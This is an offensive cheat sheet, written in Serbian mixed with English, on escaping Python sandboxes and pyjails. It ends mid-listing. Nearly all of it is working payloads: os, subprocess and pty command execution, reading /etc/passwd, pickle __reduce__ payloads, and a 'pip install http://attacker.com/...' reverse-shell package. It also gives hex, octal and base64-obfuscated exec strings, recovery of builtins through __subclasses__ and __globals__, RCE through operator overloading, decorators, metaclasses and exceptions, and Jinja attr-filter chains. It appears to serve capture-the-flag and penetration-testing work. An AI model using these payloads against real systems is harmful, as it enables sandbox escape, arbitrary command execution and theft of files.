Bypass Python sandboxes

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Ovo su neki trikovi za zaobilaženje zaštita python sandboxes i izvršavanje proizvoljnih komandi.

Js2py Sandbox Escape Cve 2024 28397

Biblioteke za izvršavanje komandi

Prvo što treba da znate je da li možete direktno izvršiti kod koristeći neku već uvezenu biblioteku, ili da li možete importovati bilo koju od ovih biblioteka:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Zapamti da open i read funkcije mogu biti korisne za čitanje fajlova unutar python sandbox i za pisanje koda koji možeš izvršiti da zaobiđeš sandbox.

[!CAUTION] > Python2 input() funkcija omogućava izvršavanje python koda pre nego što program padne.

Python pokušava da prvo učita biblioteke iz trenutnog direktorijuma (sledeća komanda će ispisati odakle python učitava module): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Podrazumevani paketi

Možeš pronaći listu preinstaliranih paketa ovde: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Imaj na umu da iz pickle-a možeš naterati python okruženje da uveze proizvoljne biblioteke instalirane u sistemu.
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku kako bi je koristio:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Za više informacija o tome kako pickle radi, pogledajte ovo: https://checkoway.net/musings/pickle/

Pip package

Trik podelio @isHaacK

Ako imate pristup pip ili pip.main() možete instalirati proizvoljan paket i dobiti reverse shell pozivom:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Možete preuzeti paket za kreiranje reverse shell ovde. Molimo, imajte na umu da pre korišćenja treba da ga dekompresujete, izmenite setup.py, i unesete vaš IP za reverse shell:

Tip

Ovaj paket se zove Reverse. Međutim, on je specijalno napravljen tako da kada izađete iz reverse shell-a ostatak instalacije neće uspeti, tako da nećete ostaviti nijedan extra python package instaliran na serveru kada odete.

Eval-ing python code

Warning

Imajte na umu da exec dozvoljava višelinijske stringove i “;”, ali eval ne (proverite walrus operator)

Ako su određeni karakteri zabranjeni, možete koristiti hex/octal/B64 reprezentaciju da bypass ograničenje:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Ostale biblioteke koje omogućavaju izvršavanje python koda preko eval

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Takođe pogledajte realan primer sandboxed evaluator escape-a u PDF generatorima:

ReportLab/xhtml2pdf triple-bracket [[[…]]] expression evaluation → RCE (CVE-2023-33733). Zloupotrebljava rl_safe_eval da bi pristupio function.globals i os.system iz evaluiranih atributa (na primer, boja fonta) i vraća validnu vrednost da bi renderovanje ostalo stabilno.

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733

Operatori i kratki trikovi

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Zaobilaženje zaštita kroz enkodiranja (UTF-7)

U this writeup UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandboxa:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Takođe je moguće zaobići ga koristeći druga kodiranja, npr. raw_unicode_escape i unicode_escape.

Izvršavanje u python jail-u bez poziva

Ako se nalazite unutar python jail-a koji ne dozvoljava da pravite pozive, i dalje postoje načini da izvršite proizvoljne funkcije, kod i komande.

RCE sa decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE creating objects and overloading

Ako možete declare a class i create an object te klase, mogli biste write/overwrite different methods koje se mogu triggered without needing to call them directly.

RCE with custom classes

Možete izmeniti neke class methods (by overwriting existing class methods or creating a new class) da ih naterate da execute arbitrary code kada su triggered bez direktnog pozivanja.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Kreiranje objekata sa metaclasses

Ključna stvar koju metaclasses omogućavaju jeste da napravimo instancu klase, bez direktnog pozivanja konstruktora, tako što kreiramo novu klasu sa ciljnom klasom kao metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Kreiranje objekata pomoću exceptions

Kada se exception izazove, objekat klase Exception se kreira bez potrebe da direktno pozivate konstruktor (trik od @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Više RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Pročitaj fajl sa builtins help & license

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Ugrađene funkcije

Ako možete pristupiti objektu __builtins__, možete importovati biblioteke (imajte u vidu da ovde možete koristiti i druge string reprezentacije prikazane u poslednjem odeljku):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Bez `builtins`

Kada nemaš __builtins__ nećeš moći da importuješ bilo šta niti čak da čitaš ili pišeš fajlove jer sve globalne funkcije (kao što su open, import, print…) nisu učitane.\

Međutim, po defaultu python učitava mnogo modula u memoriju. Ti moduli mogu delovati benigno, ali neki od njih takođe u sebi uvoze opasne funkcionalnosti kojima se može pristupiti i ostvariti čak i arbitrary code execution.

U sledećim primerima možete videti kako da abuse neke od ovih “benign” modula koji su učitani kako biste access dangerous functionalities u njima.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Below there is a bigger function da pronađete desetine/stotine mesta gde možete pronaći builtins.

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Provera globals i locals je dobar način da saznate čemu možete pristupiti.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Below there is a bigger function da pronađete desetine/stotine mesta gde možete pronaći globals.

Otkrivanje proizvoljnog izvršavanja

Ovde želim objasniti kako lako otkriti opasnije učitane funkcionalnosti i predložiti pouzdanije exploits.

Pristup potklasama uz bypass-e

Jedan od najsenzitivnijih delova ove tehnike je mogućnost pristupa osnovnim potklasama. U prethodnim primerima ovo je urađeno korišćenjem ''.__class__.__base__.__subclasses__() ali postoje drugi mogući načini:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Pronalaženje učitanih opasnih biblioteka

Na primer, znajući da se pomoću biblioteke sys može import arbitrary libraries, možete pretražiti sve modules loaded that have imported sys inside of them:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Ima ih mnogo, i treba nam samo jedan da izvrši komande:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Možemo isto uraditi sa drugim bibliotekama za koje znamo da se mogu koristiti za izvršavanje komandi:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Štaviše, mogli bismo čak i pretražiti koji moduli učitavaju maliciozne biblioteke:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Štaviše, ako mislite da druge biblioteke mogu pozivati funkcije za izvršavanje komandi, možemo i filtrirati po imenima funkcija unutar mogućih biblioteka:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
